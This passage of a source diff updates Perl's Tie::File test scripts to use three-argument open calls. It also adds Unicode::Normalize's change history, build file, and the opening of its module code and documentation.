diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/24_cache_loop.t b/gnu/usr.bin/perl/dist/Tie-File/t/24_cache_loop.t
index 0bc66bee2b1..42c002c19bb 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/24_cache_loop.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/24_cache_loop.t
@@ -19,7 +19,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/25_gen_nocache.t b/gnu/usr.bin/perl/dist/Tie-File/t/25_gen_nocache.t
index 78e55062154..ce55d27d6a3 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/25_gen_nocache.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/25_gen_nocache.t
@@ -91,7 +91,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/26_twrite.t b/gnu/usr.bin/perl/dist/Tie-File/t/26_twrite.t
index e2a925f4e08..d827f1c3f9c 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/26_twrite.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/26_twrite.t
@@ -27,7 +27,7 @@ $: = Tie::File::_default_recsep();
# The problem was premature termination in the inner loop
# because you had $more_data scoped *inside* the block instead of outside.
# 20020331
-open F, "> $file" or die "Couldn't open $file: $!";
+open F, '>', $file or die "Couldn't open $file: $!";
binmode F;
for (1..100) {
print F "$_ ", 'a'x150, $: ;
@@ -263,7 +263,7 @@ try(42000, 0, 0); # old=0 , new=0 ; old = new
sub try {
my ($pos, $len, $newlen) = @_;
- open F, "> $file" or die "Couldn't open file $file: $!";
+ open F, '>', $file or die "Couldn't open file $file: $!";
binmode F;
# The record has exactly 17 characters. This will help ensure that
@@ -289,7 +289,7 @@ sub try {
$o->_twrite($newdata, $pos, $len);
undef $o; untie @lines;
- open F, "< $file" or die "Couldn't open file $file: $!";
+ open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $actual;
{ local $/;
@@ -313,7 +313,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/27_iwrite.t b/gnu/usr.bin/perl/dist/Tie-File/t/27_iwrite.t
index db591a81ba0..04ad436e473 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/27_iwrite.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/27_iwrite.t
@@ -179,7 +179,7 @@ sub try {
my ($s, $len, $newlen) = @_;
my $e = $s + $len;
- open F, "> $file" or die "Couldn't open file $file: $!";
+ open F, '>', $file or die "Couldn't open file $file: $!";
binmode F;
print F $oldfile;
@@ -197,7 +197,7 @@ sub try {
my $actual_return = $o->_iwrite($newdata, $s, $e);
undef $o; untie @lines;
- open F, "< $file" or die "Couldn't open file $file: $!";
+ open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $actual;
{ local $/;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/28_mtwrite.t b/gnu/usr.bin/perl/dist/Tie-File/t/28_mtwrite.t
index 50e306d3b6f..31463693df0 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/28_mtwrite.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/28_mtwrite.t
@@ -198,7 +198,7 @@ sub mkrand {
sub try {
push @TRIES, [@_] if @_ == 3;
- open F, "> $file" or die "Couldn't open file $file: $!";
+ open F, '>', $file or die "Couldn't open file $file: $!";
binmode F;
print F $oldfile;
close F;
@@ -220,7 +220,7 @@ sub try {
my $actual_return = $o->_mtwrite(@mt_args);
undef $o; untie @lines;
- open F, "< $file" or die "Couldn't open file $file: $!";
+ open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $actual;
{ local $/;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/29_downcopy.t b/gnu/usr.bin/perl/dist/Tie-File/t/29_downcopy.t
index d75806d5b2c..793116a7c07 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/29_downcopy.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/29_downcopy.t
@@ -237,7 +237,7 @@ try(42000, 0, 0); # old=0 , new=0 ; old = new
sub try {
my ($pos, $len, $newlen) = @_;
- open F, "> $file" or die "Couldn't open file $file: $!";
+ open F, '>', $file or die "Couldn't open file $file: $!";
binmode F;
# The record has exactly 17 characters. This will help ensure that
@@ -279,6 +279,11 @@ sub try {
print "# Timeout\n";
print "not ok $N\n"; $N++;
print "not ok $N\n"; $N++;
+ if (defined $len) {
+ # Fail the tests in the recursive call as well
+ print "not ok $N\n"; $N++;
+ print "not ok $N\n"; $N++;
+ }
return;
} else {
$@ = $err;
@@ -286,7 +291,7 @@ sub try {
}
}
- open F, "< $file" or die "Couldn't open file $file: $!";
+ open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $actual;
{ local $/;
@@ -318,7 +323,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/29a_upcopy.t b/gnu/usr.bin/perl/dist/Tie-File/t/29a_upcopy.t
index 1130615f37a..9840af42810 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/29a_upcopy.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/29a_upcopy.t
@@ -98,7 +98,7 @@ try($FLEN-20000, 200, undef);
sub try {
my ($src, $dst, $len) = @_;
- open F, "> $file" or die "Couldn't open file $file: $!";
+ open F, '>', $file or die "Couldn't open file $file: $!";
binmode F;
# The record has exactly 17 characters. This will help ensure that
@@ -141,7 +141,7 @@ sub try {
}
}
- open F, "< $file" or die "Couldn't open file $file: $!";
+ open F, '<', $file or die "Couldn't open file $file: $!";
binmode F;
my $actual;
{ local $/;
@@ -165,7 +165,7 @@ sub check_contents {
my $x = join $:, @c, '';
local *FH = $o->{fh};
seek FH, 0, SEEK_SET;
-# my $open = open FH, "< $file";
+# my $open = open FH, '<', $file;
my $a;
{ local $/; $a = <FH> }
$a = "" unless defined $a;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/30_defer.t b/gnu/usr.bin/perl/dist/Tie-File/t/30_defer.t
index 063b3a70903..975cdfba5c8 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/30_defer.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/30_defer.t
@@ -19,7 +19,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
@@ -89,7 +89,7 @@ check_contents(join $:, "r0".."r2", "", "r4".."r6", "");
#
undef $o; untie @a;
$data = join "$:", map("record$_", 0..7), ""; # records are 8 or 9 bytes long
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
@@ -221,7 +221,7 @@ check_contents(join("$:", qw(recordF recordB recordC
undef $o;
untie @a;
# (79) We can't use check_contents any more, because the object is dead
-open F, "< $file" or die;
+open F, '<', $file or die;
binmode F;
{ local $/ ; $z = <F> }
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/31_autodefer.t b/gnu/usr.bin/perl/dist/Tie-File/t/31_autodefer.t
index ea929a40972..baf72c29577 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/31_autodefer.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/31_autodefer.t
@@ -19,7 +19,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/32_defer_misc.t b/gnu/usr.bin/perl/dist/Tie-File/t/32_defer_misc.t
index e0e3f15bb8f..f4ee1105510 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/32_defer_misc.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/32_defer_misc.t
@@ -17,7 +17,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Tie-File/t/33_defer_vs.t b/gnu/usr.bin/perl/dist/Tie-File/t/33_defer_vs.t
index 071af77a684..b68541c0bc1 100644
--- a/gnu/usr.bin/perl/dist/Tie-File/t/33_defer_vs.t
+++ b/gnu/usr.bin/perl/dist/Tie-File/t/33_defer_vs.t
@@ -21,7 +21,7 @@ my $N = 1;
use Tie::File;
print "ok $N\n"; $N++;
-open F, "> $file" or die $!;
+open F, '>', $file or die $!;
binmode F;
print F $data;
close F;
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/Changes b/gnu/usr.bin/perl/dist/Unicode-Normalize/Changes
new file mode 100644
index 00000000000..22ec16e0bcd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/Changes
@@ -0,0 +1,258 @@
+Revision history for Perl extension Unicode::Normalize.
+
+1.26 *** RELEASE DATE HERE ***
+ - Switch to XSLoader from Dynaloader
+
+1.25 Wed Dec 16 03:05:57 UTC 2015
+ - Fix Normalize.xs to work on releases earlier than 5.8. The problem was
+ introduced in this module's version 1.24
+ - Go back to shipping pure perl version as well as XS, as was done up
+ through release 1.17
+
+1.24 Sun Nov 29 05:48:44 UTC 2015
+ - Updated to use most recent GNU license file.
+ ( https://rt.cpan.org/Public/Bug/Display.html?id=108003 )
+ - Silence compiler warning message
+ ( https://rt.cpan.org/Public/Bug/Display.html?id=109577 )
+ - Add kwalitee suggested changes.
+
+1.23 Sun Oct 25 14:50:28 UTC 2015
+ - Fix mkhdr to work on releases earlier than 5.8
+
+1.22 Thu Oct 08 16:50:17 2015
+ - Reinstate XSUB, now works on modern EBCDIC perls as well.
+ - Kwalitee changes
+ - Makefile fixes
+ - small bug fix in header generation script.
+
+1.21 Fri Oct 02 15:33:17 2015
+ - Get pure perl version to work on modern EBCDIC perls.
+ - Some comment and pod improvements
+
+1.20 Fri Oct 02 15:30:40 2015
+ - Not officially released, was incomplete import of 1.19
+
+1.19 Sat Jul 11 12:39:38 2015
+ - [rt.cpan.org #105620] Useless dependency on bytes and File::Copy
+
+1.18 Tue May 27 22:04:23 2014
+ - XSUB is now deprecated and removed. see perl 5.20.0,
+ perldelta, Internal Changes, deprecation of uvuni_to_utf8 etc.
+ - Thank you for everything !!
+
+1.17 Sat Oct 5 11:36:43 2013
+ - assertion using unpack
+
+1.16 Sun Nov 4 17:23:03 2012
+ - XSUB: use PERL_NO_GET_CONTEXT (see perlguts)
+ (see [rt.cpan.org #80312])
+
+1.15 Sun Sep 23 10:43:14 2012
+ - perl 5.11.0 or later: Install to 'site' instead of 'perl'
+ (see [rt.cpan.org #79801])
+
+1.14 Sat Mar 10 13:34:53 2012
+ - avoid "use Test".
+
+1.13 Mon Jul 25 21:07:49 2011
+ - tried fixing the tarball with world writable files.
+ ( http://www.perlmonks.org/?node_id=731935 )
+
+1.12 Mon May 16 23:36:07 2011
+ - removed Normalize/CompExcl.pl and coded Composition Exclusions;
+ how to load CompExcl.pl seems not good, but I'm not sure...
+
+1.11 Sun May 15 20:31:09 2011
+ - As perl 5.14.0 has removed unicore/CompositionExclusions.txt
+ from the installation, Normalize/CompExcl.pl in this distribution
+ is used instead. (see [rt.cpan.org #68106])
+
+1.10 Sun Jan 16 21:00:34 2011
+ - XSUB: reorder() and compose() treat with growing the string.
+ - XSUB: provision against UTF8_ALLOW_* flags to be undefined in future.
+ - doc: about perl 5.13.x and Unicode 6.0.0
+ - doc and comments: [perl #81876] Fix typos by Peter J. Acklam.
+
+1.07 Mon Sep 20 20:20:02 2010
+ - doc: about perl 5.12.x and Unicode 5.2.0
+ - test: prototype of normalize_partial() and cousins in proto.t.
+
+1.06 Thu Feb 11 16:19:54 2010
+ - mkheader/Pure Perl: fixed the internal _getHexArray() for perl 5.11.3
+ changes (Bug #53197).
+
+1.05 Mon Sep 28 21:43:17 2009
+ - normalize_partial() and NFX_partial(). { NFX =~ /^NFK?[CD]\z/ }
+ - added partial1.t for NFX_partial().
+ - added partial2.t for normalize_partial().
+
+1.04 Wed Sep 23 22:32:57 2009
+ - doc: splitOnLastStarter() since 0.24 is now documented.
+ - test: some new tests are added to split.t.
+
+1.03 Sun Mar 29 12:56:23 2009
+ - mkheader: check if no composition needs growing the string.
+ - Makefile.PL: a tweak
+
+1.02 Tue Jun 5 22:46:45 2007
+ - XSUB: mkheader, _U_stringify() - avoid unpack('C*') on unicode.
+ - test: short.t removed - pure perl is not appropriate for test of
+ unicode edge cases.
+
+1.01 Tue Jun 13 22:01:53 2006
+ - XSUB: sv_setpvn() needs cast to (char*).
+ - XSUB: avoid double FETCH for tied scalar variables.
+ - added tie.t.
+
+1.00 Thu May 25 20:35:06 2006
+ - Pure Perl: compose($not_canonically_reordered) works like that in XSUB,
+ where an intervening character with higher combining class blocks
+ the composition. (This change doesn't affect any normalization forms.)
+ - XSUB: NFD(), NFC(), NFKD(), NFC(), and FCC() are now in XSUB, then
+ internal subroutine calls are avoided.
+ - The functions isComp_Ex(), isNFD_NO(), isNFC_NO(), isNFC_MAYBE(),
+ isNFKD_NO(), isNFKC_NO(), and isNFKC_MAYBE() are documented.
+ - Tests are more amplified and documentations are more clarified.
+ - Makefile.PL: Change 26295 is incorporated.
+
+0.32 Tue Apr 5 22:47:09 2005
+ - Some literal and grammatical errors in POD are fixed.
+
+0.31 Tue Apr 5 21:43:20 2005
+ - CAVEATS in POD is added.
+ - Some test cases from Unicode Public Review Issue #29
+ (Normalization Issue) are added to norm.t and test.t.
+ - do 'mkheader' returns true so that Makefile.PL will catch error.
+ - META.yml is added.
+
+0.30 Sun May 2 14:35:00 2004
+ - XSUB: (perl 5.8.1 or later) improved utf8 upgrade of non-POK
+ (private POK) values like tied scalars, overloaded objects, etc.
+
+0.28 Sat Nov 22 23:46:24 2003
+ - XSUB: even if string contains a malformed, "short" Unicode character,
+ decompose() and reorder() will be safe. Garbage will be no longer added.
+ - added null.t and short.t.
+ - now truly added illegal.t (in 0.27, forgot to change MANIFEST).
+
+0.27 Sun Nov 16 13:16:21 2003
+ - Illegal code points (surrogate and noncharacter) will be allowed
+ (keep your code with <no warnings 'utf8';>);
+ but porting is not successful in the case of ((Pure Perl) and
+ (Perl 5.7.3 or before)).
+ - added illegal.t.
+
+0.26 Sat Nov 15 21:52:30 2003
+ - doc fix: s/FCD(?= is unique)/FCC/;
+
+0.25 Mon Oct 6 22:26:03 2003
+ - added form.t and proto.t.
+
+0.24 Sat Oct 4 17:57:10 2003
+ - supports FCD and FCC (UTN #5):
+ FCD(), normalize('FCD'), checkFCD(), check('FCD');
+ FCC(), normalize('FCC'), checkFCC(), check('FCC').
+ - changed INSTALLATION (cf. README).
+ * Initial state of the distribution is changed to XSUB. To build
+ pure Perl, type <perl disableXS> before <perl Makefile.PL>.
+ * The purePerl-XSUB converter is now provided as two perl
+ script files, named "enableXS" and "disableXS".
+ (no longer <perl Makefile.PL xs> and <perl Makefile.PL noxs>.)
+ * simplified Makefile.PL.
+ - added fcdc.t for FCD() and FCC().
+ - added split.t for splitOnLastStarter(): an undocumented function.
+
+0.23 Sat Jun 28 20:38:10 2003
+ - bug fix: \0-terminate in compose() in XS.
+ - tweak in pure perl: forced $codepoint to numeric (i.e. "+0065" to 65)
+ - tweak of POD and README.
+
+0.22 Mon Jun 09 22:23:10 2003
+ - internal tweak (again): pack_U() and unpack_U().
+
+0.21 Thu Apr 02 23:12:54 2003
+ - internal tweak: for (?un)pack 'U'.
+
+0.20 Sun Mar 02 13:29:25 2003
+ - decompose Hangul syllables in a decomposition mapping.
+
+0.18 ... unreleased
+ - synchronization with bleadperl.
+ - Change 16262: by sadahiro
+
+0.17 Sun Apr 28 23:13:32 2002
+ - now normalize('NFC',$1) should work.
+ - Some croak()'s are added in mkheader.
+ - synchronization with bleadperl.
+ - Change 15596: by sadahiro
+ - Change 16136: by pudge
+
+0.16 Thu Mar 21 13:36:14 2002
+ - synchronization with bleadperl.
+ - Change 15318: by jhi
+ - Change 15319: by jhi
+
+0.15 Tue Mar 19 22:04:07 2002
+ - Quick check is implemented.
+ - decompose(), reorder(), and compose() are documented.
+ - The Non-XS version is also independent of Lingua::KO::Hangul::Util.
+
+0.14 Sat Feb 02 20:40:14 2002
+ - synchronization with bleadperl.
+ - Change 14128: by Arthur
+ - Change 14129: by jhi
+ - Change 14156: by sadahiro
+ - Change 14199: by Nikola Knezevic
+ - Change 14308: by Benjamin Goldberg
+ - Change 14370: by jhi
+
+0.13 Sat Dec 01 11:42:43 2001
+ - modify Makefile.PL to enable rebuild.
+ (This problem is pointed out by David Dyck.)
+ - Change 13388: by Jarkko Hietaniemi.
+
+0.12 Wed Nov 29 22:49:02 2001
+ - documentation in .pod is appended to .pm and the .pod is removed.
+ (only POD in NON-XS refers to Lingua::KO::Hangul::Util.)
+
+0.11 Sat Nov 24 10:18:38 2001
+ - documentation of some functions for character data.
+ - Change 12909: by Jarkko Hietaniemi.
+ - Change 13228: by Peter Prymmer.
+
+0.10 Sat Nov 03 16:30:20 2001
+ - The XS version is now independent of Lingua::KO::Hangul::Util.
+ (though the Non-XS version still requires that.)
+
+0.09 Fri Nov 02 22:39:30 2001
+ - remove pTHX_.
+
+0.08 Thu Nov 01 23:20:42 2001
+ - use Lingua::KO::Hangul::Util 0.06 and remove "hangul.h".
+
+0.07 Wed Oct 31 22:06:42 2001
+ - modify internal. decompose() - reorder() - compose().
+
+0.06 Sun Oct 28 14:28:46 2001
+ - an XS version.
+ (but the Non-XS version is also supported.)
+
+0.05 Wed Oct 10 22:02:15 2001 (not released)
+ - %Compos contains unnecessary singletons
+ (though it did not cause any bug, only useless).
+ They will not be stored.
+
+0.04 Wed Aug 15 19:02:41 2001
+ - fix: NFD("") and NFKD("") must return "", not but undef.
+
+0.03 Fri Aug 10 22:44:18 2001
+ - rename the module name to Unicode::Normalize.
+ - normalize takes two arguments.
+
+0.02 Thu Aug 9 22:56:36 2001
+ - add function normalize
+
+0.01 Mon Aug 6 21:45:11 2001
+ - original version; created by h2xs 1.21 with options
+ -A -X -n Text::Unicode::Normalize
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/Makefile.PL b/gnu/usr.bin/perl/dist/Unicode-Normalize/Makefile.PL
new file mode 100644
index 00000000000..18bc2e2d28e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/Makefile.PL
@@ -0,0 +1,55 @@
+require 5.006001;
+use ExtUtils::MakeMaker;
+
+my $clean = {};
+
+my $mm_ver = ExtUtils::MakeMaker->VERSION;
+
+if (-f "Normalize.xs") {
+ print STDERR "Making header files for XS...\n";
+
+ do './mkheader' or die $@ || "mkheader: $!";
+
+ $clean = { FILES => 'unfcan.h unfcmb.h unfcmp.h unfcpt.h unfexc.h' };
+}
+
+WriteMakefile(
+ ($mm_ver < 6.58)
+ ? ('AUTHOR' => 'SADAHIRO Tomoyuki <SADAHIRO@cpan.org>, Karl Williamson <khw@cpan.org>')
+ : ('AUTHOR' => [
+ 'SADAHIRO Tomoyuki <SADAHIRO@cpan.org>',
+ 'Karl Williamson <khw@cpan.org>',
+ ]),
+ 'ABSTRACT' => 'Unicode Normalization Forms',
+ 'INSTALLDIRS' => ($] >= 5.007002 && $] < 5.011) ? 'perl' : 'site',
+ # see perl5110delta, @INC reorganization
+ 'LICENSE' => 'perl',
+ 'NAME' => 'Unicode::Normalize',
+ 'VERSION_FROM' => 'Normalize.pm', # finds $VERSION
+ 'clean' => $clean,
+ 'depend' => { 'Normalize.o' => '$(H_FILES)' },
+ 'PREREQ_PM' => {
+ Carp => 0,
+ constant => 0,
+ DynaLoader => 0,
+ Exporter => 0,
+ File::Spec => 0,
+ strict => 0,
+ warnings => 0,
+ SelectSaver => 0,
+ },
+ ($mm_ver < 6.48 ? () : MIN_PERL_VERSION => 5.6.0),
+ ($mm_ver < 6.46 ? () : (META_MERGE => {
+ 'meta-spec' => { version => 2 },
+ resources => {
+ repository => {
+ url => 'https://github.com/khwilliamson/Unicode-Normalize.git',
+ web => 'https://github.com/khwilliamson/Unicode-Normalize',
+ type => 'git',
+ },
+ bugtracker => {
+ web => 'https://rt.cpan.org/Public/Dist/Display.html?Name=Unicode-Normalize',
+ },
+ },
+ })),
+);
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.pm b/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.pm
new file mode 100644
index 00000000000..adf3db50d8b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/Normalize.pm
@@ -0,0 +1,635 @@
+package Unicode::Normalize;
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ die "Unicode::Normalize cannot stringify a Unicode code point\n";
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ die "Unicode::Normalize cannot get Unicode code point\n";
+ }
+}
+
+use 5.006;
+use strict;
+use warnings;
+use Carp;
+
+no warnings 'utf8';
+
+our $VERSION = '1.26';
+our $PACKAGE = __PACKAGE__;
+
+our @EXPORT = qw( NFC NFD NFKC NFKD );
+our @EXPORT_OK = qw(
+ normalize decompose reorder compose
+ checkNFD checkNFKD checkNFC checkNFKC check
+ getCanon getCompat getComposite getCombinClass
+ isExclusion isSingleton isNonStDecomp isComp2nd isComp_Ex
+ isNFD_NO isNFC_NO isNFC_MAYBE isNFKD_NO isNFKC_NO isNFKC_MAYBE
+ FCD checkFCD FCC checkFCC composeContiguous splitOnLastStarter
+ normalize_partial NFC_partial NFD_partial NFKC_partial NFKD_partial
+);
+our %EXPORT_TAGS = (
+ all => [ @EXPORT, @EXPORT_OK ],
+ normalize => [ @EXPORT, qw/normalize decompose reorder compose/ ],
+ check => [ qw/checkNFD checkNFKD checkNFC checkNFKC check/ ],
+ fast => [ qw/FCD checkFCD FCC checkFCC composeContiguous/ ],
+);
+
+##
+## utilities for tests
+##
+
+sub pack_U {
+ return pack('U*', @_);
+}
+
+sub unpack_U {
+
+ # The empty pack returns an empty UTF-8 string, so the effect is to force
+ # the shifted parameter into being UTF-8. This allows this to work on
+ # Perl 5.6, where there is no utf8::upgrade().
+ return unpack('U*', shift(@_).pack('U*'));
+}
+
+require Exporter;
+
+##### The above part is common to XS and PP #####
+
+our @ISA = qw(Exporter);
+use XSLoader ();
+XSLoader::load( 'Unicode::Normalize', $VERSION );
+
+##### The below part is common to XS and PP #####
+
+##
+## normalize
+##
+
+sub FCD ($) {
+ my $str = shift;
+ return checkFCD($str) ? $str : NFD($str);
+}
+
+our %formNorm = (
+ NFC => \&NFC, C => \&NFC,
+ NFD => \&NFD, D => \&NFD,
+ NFKC => \&NFKC, KC => \&NFKC,
+ NFKD => \&NFKD, KD => \&NFKD,
+ FCD => \&FCD, FCC => \&FCC,
+);
+
+sub normalize($$)
+{
+ my $form = shift;
+ my $str = shift;
+ if (exists $formNorm{$form}) {
+ return $formNorm{$form}->($str);
+ }
+ croak($PACKAGE."::normalize: invalid form name: $form");
+}
+
+##
+## partial
+##
+
+sub normalize_partial ($$) {
+ if (exists $formNorm{$_[0]}) {
+ my $n = normalize($_[0], $_[1]);
+ my($p, $u) = splitOnLastStarter($n);
+ $_[1] = $u;
+ return $p;
+ }
+ croak($PACKAGE."::normalize_partial: invalid form name: $_[0]");
+}
+
+sub NFD_partial ($) { return normalize_partial('NFD', $_[0]) }
+sub NFC_partial ($) { return normalize_partial('NFC', $_[0]) }
+sub NFKD_partial($) { return normalize_partial('NFKD',$_[0]) }
+sub NFKC_partial($) { return normalize_partial('NFKC',$_[0]) }
+
+##
+## check
+##
+
+our %formCheck = (
+ NFC => \&checkNFC, C => \&checkNFC,
+ NFD => \&checkNFD, D => \&checkNFD,
+ NFKC => \&checkNFKC, KC => \&checkNFKC,
+ NFKD => \&checkNFKD, KD => \&checkNFKD,
+ FCD => \&checkFCD, FCC => \&checkFCC,
+);
+
+sub check($$)
+{
+ my $form = shift;
+ my $str = shift;
+ if (exists $formCheck{$form}) {
+ return $formCheck{$form}->($str);
+ }
+ croak($PACKAGE."::check: invalid form name: $form");
+}
+
+1;
+__END__
+
+=head1 NAME
+
+Unicode::Normalize - Unicode Normalization Forms
+
+=head1 SYNOPSIS
+
+(1) using function names exported by default:
+
+ use Unicode::Normalize;
+
+ $NFD_string = NFD($string); # Normalization Form D
+ $NFC_string = NFC($string); # Normalization Form C
+ $NFKD_string = NFKD($string); # Normalization Form KD
+ $NFKC_string = NFKC($string); # Normalization Form KC
+
+(2) using function names exported on request:
+
+ use Unicode::Normalize 'normalize';
+
+ $NFD_string = normalize('D', $string); # Normalization Form D
+ $NFC_string = normalize('C', $string); # Normalization Form C
+ $NFKD_string = normalize('KD', $string); # Normalization Form KD
+ $NFKC_string = normalize('KC', $string); # Normalization Form KC
+
+=head1 DESCRIPTION
+
+Parameters:
+
+C<$string> is used as a string under character semantics (see L<perlunicode>).
+
+C<$code_point> should be an unsigned integer representing a Unicode code point.
+
+Note: Between XSUB and pure Perl, there is an incompatibility
+about the interpretation of C<$code_point> as a decimal number.
+XSUB converts C<$code_point> to an unsigned integer, but pure Perl does not.
+Do not use a floating point nor a negative sign in C<$code_point>.
+
+=head2 Normalization Forms
+
+=over 4
+
+=item C<$NFD_string = NFD($string)>
+
+It returns the Normalization Form D (formed by canonical decomposition).
+
+=item C<$NFC_string = NFC($string)>
+
+It returns the Normalization Form C (formed by canonical decomposition
+followed by canonical composition).
+
+=item C<$NFKD_string = NFKD($string)>
+
+It returns the Normalization Form KD (formed by compatibility decomposition).
+
+=item C<$NFKC_string = NFKC($string)>
+
+It returns the Normalization Form KC (formed by compatibility decomposition
+followed by B<canonical> composition).
+
+=item C<$FCD_string = FCD($string)>
+
+If the given string is in FCD ("Fast C or D" form; cf. UTN #5),
+it returns the string without modification; otherwise it returns an FCD string.
+
+Note: FCD is not always unique, then plural forms may be equivalent
+each other. C<FCD()> will return one of these equivalent forms.
+
+=item C<$FCC_string = FCC($string)>
+
+It returns the FCC form ("Fast C Contiguous"; cf. UTN #5).
+
+Note: FCC is unique, as well as four normalization forms (NF*).
+
+=item C<$normalized_string = normalize($form_name, $string)>
+
+It returns the normalization form of C<$form_name>.
+
+As C<$form_name>, one of the following names must be given.
+
+ 'C' or 'NFC' for Normalization Form C (UAX #15)
+ 'D' or 'NFD' for Normalization Form D (UAX #15)
+ 'KC' or 'NFKC' for Normalization Form KC (UAX #15)
+ 'KD' or 'NFKD' for Normalization Form KD (UAX #15)
+
+ 'FCD' for "Fast C or D" Form (UTN #5)
+ 'FCC' for "Fast C Contiguous" (UTN #5)
+
+=back
+
+=head2 Decomposition and Composition
+
+=over 4
+
+=item C<$decomposed_string = decompose($string [, $useCompatMapping])>
+
+It returns the concatenation of the decomposition of each character
+in the string.
+
+If the second parameter (a boolean) is omitted or false,
+the decomposition is canonical decomposition;
+if the second parameter (a boolean) is true,
+the decomposition is compatibility decomposition.
+
+The string returned is not always in NFD/NFKD. Reordering may be required.
+
+ $NFD_string = reorder(decompose($string)); # eq. to NFD()
+ $NFKD_string = reorder(decompose($string, TRUE)); # eq. to NFKD()
+
+=item C<$reordered_string = reorder($string)>
+
+It returns the result of reordering the combining characters
+according to Canonical Ordering Behavior.
+
+For example, when you have a list of NFD/NFKD strings,
+you can get the concatenated NFD/NFKD string from them, by saying
+
+ $concat_NFD = reorder(join '', @NFD_strings);
+ $concat_NFKD = reorder(join '', @NFKD_strings);
+
+=item C<$composed_string = compose($string)>
+
+It returns the result of canonical composition
+without applying any decomposition.
+
+For example, when you have a NFD/NFKD string,
+you can get its NFC/NFKC string, by saying
+
+ $NFC_string = compose($NFD_string);
+ $NFKC_string = compose($NFKD_string);
+
+=item C<($processed, $unprocessed) = splitOnLastStarter($normalized)>
+
+It returns two strings: the first one, C<$processed>, is a part
+before the last starter, and the second one, C<$unprocessed> is
+another part after the first part. A starter is a character having
+a combining class of zero (see UAX #15).
+
+Note that C<$processed> may be empty (when C<$normalized> contains no
+starter or starts with the last starter), and then C<$unprocessed>
+should be equal to the entire C<$normalized>.
+
+When you have a C<$normalized> string and an C<$unnormalized> string
+following it, a simple concatenation is wrong:
+
+ $concat = $normalized . normalize($form, $unnormalized); # wrong!
+
+Instead of it, do like this:
+
+ ($processed, $unprocessed) = splitOnLastStarter($normalized);
+ $concat = $processed . normalize($form,$unprocessed.$unnormalized);
+
+C<splitOnLastStarter()> should be called with a pre-normalized parameter
+C<$normalized>, that is in the same form as C<$form> you want.
+
+If you have an array of C<@string> that should be concatenated and then
+normalized, you can do like this:
+
+ my $result = "";
+ my $unproc = "";
+ foreach my $str (@string) {
+ $unproc .= $str;
+ my $n = normalize($form, $unproc);
+ my($p, $u) = splitOnLastStarter($n);
+ $result .= $p;
+ $unproc = $u;
+ }
+ $result .= $unproc;
+ # instead of normalize($form, join('', @string))
+
+=item C<$processed = normalize_partial($form, $unprocessed)>
+
+A wrapper for the combination of C<normalize()> and C<splitOnLastStarter()>.
+Note that C<$unprocessed> will be modified as a side-effect.
+
